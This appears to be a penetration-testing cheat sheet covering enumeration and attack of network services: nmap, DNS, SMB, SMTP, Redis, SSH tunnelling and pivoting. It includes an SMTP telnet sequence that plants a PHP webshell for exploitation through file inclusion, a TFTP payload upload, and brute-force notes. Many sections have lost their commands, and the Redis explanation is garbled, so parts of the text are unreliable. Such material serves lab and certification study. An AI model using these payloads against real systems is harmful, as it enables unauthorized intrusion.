Network

Scan for hosts

nmap -sn $iprange -oG - | grep Up | cut -d' ' -f2 > network.txt

Port scanning

TCP Port scanner script I use.

wget https://raw.githubusercontent.com/rowbot1/portscanner/main/portscanner.sh

All TCP Ports:

nmap -Pn -sC -sV -oA all -vv -p- $ip

UDP Top 100:

nmap -Pn -sU --top-ports 100 -oA udp -vv $ip

Utilize nmap's scripts

locate .nse | grep ftp

What does a script do?

Uniscan

Good nmap command

unicornscan + nmap = onetwopunch

Unicornscan supports asynchronous scans, speeding port scans on all 65535 ports. Nmap has powerful features that unicornscan does not have. With onetwopunch, unicornscan is used first to identify open ports, and then those ports are passed to nmap to perform further enumeration.

Vulnerability scanning

NSE scripts that scans for vulnerabilities are at ls -l /usr/share/nmap/scripts/*vuln*.

Search services vulnerabilities

DNS

Find name servers

fierce

Find email servers

Subdomain bruteforcing

Reverse dns lookup bruteforcing

Zone transfer request

secure against it

When initialising a zone transfer, the attacker will first need to know the name of the zone which they are targeting and then specify the IP address of the DNS server to perform the zone transfer against.

Below is a zone transfer against an open DNS server. You can use either of the commands below:

dig <target domain> @<dns server> axfr host -l <target domain> <dns server>

dig @[DNS SERVER HERE] axfr [DOMAIN NAME HERE]

The ‘@’ symbol is used to specify the target DNS server

Finds nameservers for a given domain

Nmap zone transfer scan

Finds the domain names for a host.

Find the IP and authoritative servers.

Finds miss configure DNS entries.

TheHarvester finds subdomains in google, bing, etc

SMB and SAMBA

Server Message Block (SMB) Protocol is a network file sharing protocol, and as implemented in Microsoft Windows

Samba has provided secure, stable and fast file and print services for all clients using the SMB/CIFS protocol, such as all versions of DOS and Windows, OS/2, Linux and many others

SMB Version

Windows version

CIFS

Microsoft Windows NT 4.0

SMB 1.0

Windows 2000, Windows XP, Windows Server 2003 and Windows Server 2003 R2

SMB 2.0

Windows Vista & Windows Server 2008

SMB 2.1

Windows 7 and Windows Server 2008 R2

SMB 3.0

Windows 8 and Windows Server 2012

SMB 3.0.2

Windows 8.1 and Windows Server 2012 R2

SMB 3.1.1

Windows 10 and Windows Server 2016

SMB uses the following TCP and UDP ports:

Checklist

  • Enumerate Hostname - nmblookup -A $ip

  • List Shares

    • smbmap -H $ip

    • echo exit | smbclient -L \\\\$ip

    • nmap --script smb-enum-shares -p 139,445 $ip

  • Check Null Sessions

    • smbmap -H $ip

    • rpcclient -U "" -N $ip

    • smbclient \\\\$ip\\[share name]

  • Check for Vulnerabilities - nmap --script smb-vuln* -p 139,445 $ip

  • Overall Scan - enum4linux -a $ip

  • Manual Inspection

    • smbver.sh $ip (port)

Get a shell with smbmap

Quick script to check for vulns

mblookup — NetBIOS over TCP/IP client used to lookup NetBIOS names

Scanning for the NetBIOS Service

SMB NetBIOS service listens on TCP ports 139 and 445, as well as several UDP ports.

nmap -p 139,445 --open -oG smb.txt 192.168.1.0/24

nbtscan -r 192.168.1.0/24

Null Session Enumeration

Vulnerable SMB Versions

Vulnerable versions:

List of SMB versions and corresponding Windows versions:

Empty LM and NTLM hashes:

rpcclient

Manually probe a SMB server

Apparently the rpcclient version in OffSec VM does not work well with creating null sessions. A downgrade to samba-4.5.15 is required: https://forums.offensive-security.com/showthread.php?12943-Found-solution-to-enum4linux-rpcclient-problem-NT_STATUS_INVALID_PARAMETER&highlight=NT_STATUS_INVALID_PARAMETER Place the export commands into a script and source it before using rpcclient to use the downgraded version, or place it in bashrc. NOTE, once downgraded, pth-winexe doesn't seem to work.

enum4linux

Wrapper around smb programs like rpcclient to automate enumerating an SMB server. Produces tons of results when a null session is successful. NOTE: Make sure to downgrade rpcclient before using.

CrackMapExec

Works perfectly, list shares and permissions, enum users, disks, code execute and run modules like mimikatz. Hashes work. Also will tell you exact version of Windows

Also will tell you exact version of windows:

smbmap

Works well for listing and downloading files, and listing shares and permissions. Hashes work. Code execution doesn't work.

generally works a bit better than enum4linux as it enum4linux tends to error out a bit

downloads to the /usr/share/smbmap directory

Download all

default port it checks is 445, use -P 139 to point it at that port if 445 fails

smbclient

Access SMB shares interactively, seems to work with anonymous access. Hashes don't work.

WARNING, be careful when using the get command to download absolute path files from the remote system. Eg. get /etc/passwd will download the passwd file and overwrite YOUR /etc/passwd. Use get /etc/passwd /tmp/passwd instead.

To download recursively:

pth-winexe

Works great sometimes. Can open a windows cmd shell.

smbenum.sh

Samba version checker

smbver.sh

Used to enumerate data from Windows and Samba hosts and is a wrapper for smbclient, rpcclient, net and nmblookup

Look for users, groups, shares, workgroup/domains and password policies

list smb nmap scripts

find SAMBA version number using the SMB OS discovery script:

then google to see if version is vulnerable

Use the GUI to browse and download ^ example above

Brute force login

RID

Rid Enum is a RID cycling attack that attempts to enumerate user accounts through null sessions and the SID to RID enum. If you specify a password file, it will automatically attempt to brute force the user accounts when its finished enumerating.

Null Session

A null SMB session can be used to gather passwords and useful information from SMB 1 by looking in shares that are not password protected for interesting files. Windows NT/2000 XP default settings allow this. Windows 2003/XP SP2 SMB this behaviour is disabled.

Null session and extract information.

Version

MultiExploit

Show all nmap SMB scripts

Quick enum:

Quick vuln scan:

Full enum and vuln scanning:

Full enum & vuln scan:

Mount:

Anonymous mount:

Eternal Blue

Exploits a critical vulnerability in the SMBv1 protocol

Vulnerable versions

Windows 7, 8, 8.1 and Windows Server 2003/2008/2012(R2)/2016

Bruteforce

Any metasploit exploit through Netbios over TCP in 139, you need to set:

NFS

Show all mounts

Mount a NFS share

Use nfspy to mount a share. Will get around permission errors

Mysql

Nmap scan

Vuln scanning:

If Mysql is running as root and you have access, you can run commands:

Enumerate MSSQL Servers on the network

Bruteforce MsSql

Gain shell using gathered credentials

Log in to a MsSql server:

SQL

SMTP

Things to remember:

  • Used to send mail

  • Always do users enumeration

  • Mail is stored (in linux) in /var/log/mail/username. If you have LFI maybe you can connect to mail server and input webshell.

    • telnet $ip 25 EHLO rowbot MAIL FROM:[email protected] RCPT TO:$usernamehere DATA Subject: shell <?php system($_GET['cmd']); ?> . quit

    symfonos:1 box

Completed machine with the above vulnerability: Symfonos:1

Commands https://serversmtp.com/smtp-commands/

Python script

Command to check if a user exists

Command to ask the server if a user belongs to a mailing list

Enumeration and vuln scanning:

Bruteforces

Metasploit user enumeration

Testing for open relay

RPC (135)

Enumerate, shows if any NFS mount exposed:

Get a list of .exe's that are using either TCP UDP HTTP and SMB via named pipes

FTP enumeration

Enumerate:

Bruteforce

Bruteforce with metasploit

Vuln scan

TFTP

If unauthenticated access is allowed with write permissions you can upload a shell:

or

connecting/interacting: tftp $ip tftp> put payload.exe tftp> get file.txt

SSH

User enumeration

If you see the following message, it likely means that scp

Bruteforce

With list of users:

  • You can use -w to slow down

SSL

Open a connection

Basic SSL ciphers check

  • Look for unsafe ciphers such as Triple-DES and Blowfish

  • Very complete tool for SSL auditing is testssl.sh, finds BEAST, FREAK, POODLE, heart bleed, etc...

SNMP

Enumeration

enumerate Community strings

v1

use nmap to enumerate info

snmpwalk

Less noisy:

Based on UDP, stateless and susceptible to UDP spoofing

POP3

Test authentication:

Finger

port 79

Find Logged in users on target.

Check User is existed or not.

The finger command is very useful for checking users on target but it’s painful if brute-forced for a username.

Using Metasploit fo Brute-force target

RDP

Install RDP nmap scripts

Bruteforce

Kerberos

Test MS14-068

Redis

Shell

First, the web server on the server broadcasts, including a simple PHP code and create a back door, which will help us to execute commands on the server.

which can be accessed using

Upload SSH key

Second, file type found in the users home directory because it is our right and remote SSH access with a key instead of using the password used to connect to create key, they may be directly un-encrypted user rights that provide access to the system.

1 - He has given parameters in line with a 2048-bit RSA key pair is generated. We can give it a password when we log in

3 - The public key of his own and to receive the new line last line auth_key name we are writing a new file. We will upload this file to the target machine via the Redis server.

5 and 6. data from the key input in the standard line that we say we do, and then take the memory contents auth_key entry Redis server.

8, 9, 10, 11 in which the location of the file content to be installed in the line number, which is stated to be added to the bottom of the file. SAVE transactions made by the commands are processed on the server side to make it happen.

13 and 16 lines in the root of the same process that we have done for other users in order to gain access with the privileges they also inside the ssh folder in the main folder authorized_keys are doing the same procedure for writing to file.

LDAP

Enumeration:

Email addresses enumeration

Find emails in google, bing, pgp etc

Contact information for the domains they host

Find emails and employee name with Recon-ng:

Find xss published ad xssed.co

Find subdomain

Finds IPs close to the domain and possible new domains

Google search

  • site:xxx -site:www.xxx

  • filetype: look for specific documents, pdf, docx, etc..

  • inurl

  • intitle

  • Others https://www.exploit-db.com/google-hacking-database/

nmap has many vulnerability scanning NSE scripts in /usr/share/nmap/scripts/

OpenVAS

  • Powerful vulnerability scanner with thousands of scan checks. Setup:

Well known exploits

Shellshock

The following tool will test it.

You can also:

Shellshock over SSH:

Exploit shellshock via curl, use -k switch to force curl to bypass any SSL warnings. Replace the bash command with anything.

HeartBleed

Test web server

Internet explorer 6

Vulnerable to msf exploit(ms10_002_aurora)

Tunneling your traffic through another host

Port forwarding

Simplest type of traffic redirection, consists on accepting traffic from one address and port port and redirecting it to another address and port.

It can be useful to bypass address and port based filters. Rinetd is a linux tool to do it.

Local port forwarding

Creates an encrypted tunnel through two machines and have traffic redirected to a final host and port, similar to port forwarding This is useful when you are trying to connect from your machine to a destination using a gateway. The syntax is:

You can later create a SSH session to the local port and have and SSH tunneled to destination:

Remote port forwarding

It creates a tunnel from the target machine to your local machine, which allows connecting to an arbitrary port on the target. Useful if the target is in a non-routable network from your local machine. This is useful when you are trying to connect to a host, behind a firewall that blocks incoming connections. This technique works as the previous one, but the connection is started from the gateway. The syntax is:

Dynamic Port Forwarding

Allows to create a tunnel from the target to your machine, and have the traffic routed to any host through target. You can configure a local port to forward traffic to multiple destinations passing through a single host. It is similar to local port forwarding but allows multiple destinations. It uses the SOCKS protocol. The syntax is:

The connection of the previous command is established at port 22 of remote addr.

Pivoting

1. drop 3proxy.exe

2. Set up a config file:

3. Add to /etc/proxychains.conf:

4. Scan:

Double-pivoting

Pivoting through two different networks:

First, create a dynamic port forwarding through the first network:

Edit /etc/proxychains.conf and add as default gateway:

Use the proxy to create a second dynamic port forward to the second network:

Edit again /etc/proxychains.conf and add as default gateway:

  • You can now use proxychains to pivot to the target network:

CVEs

Word Lists

Minimal web server

Proxy

Protocols

Last updated

Was this helpful?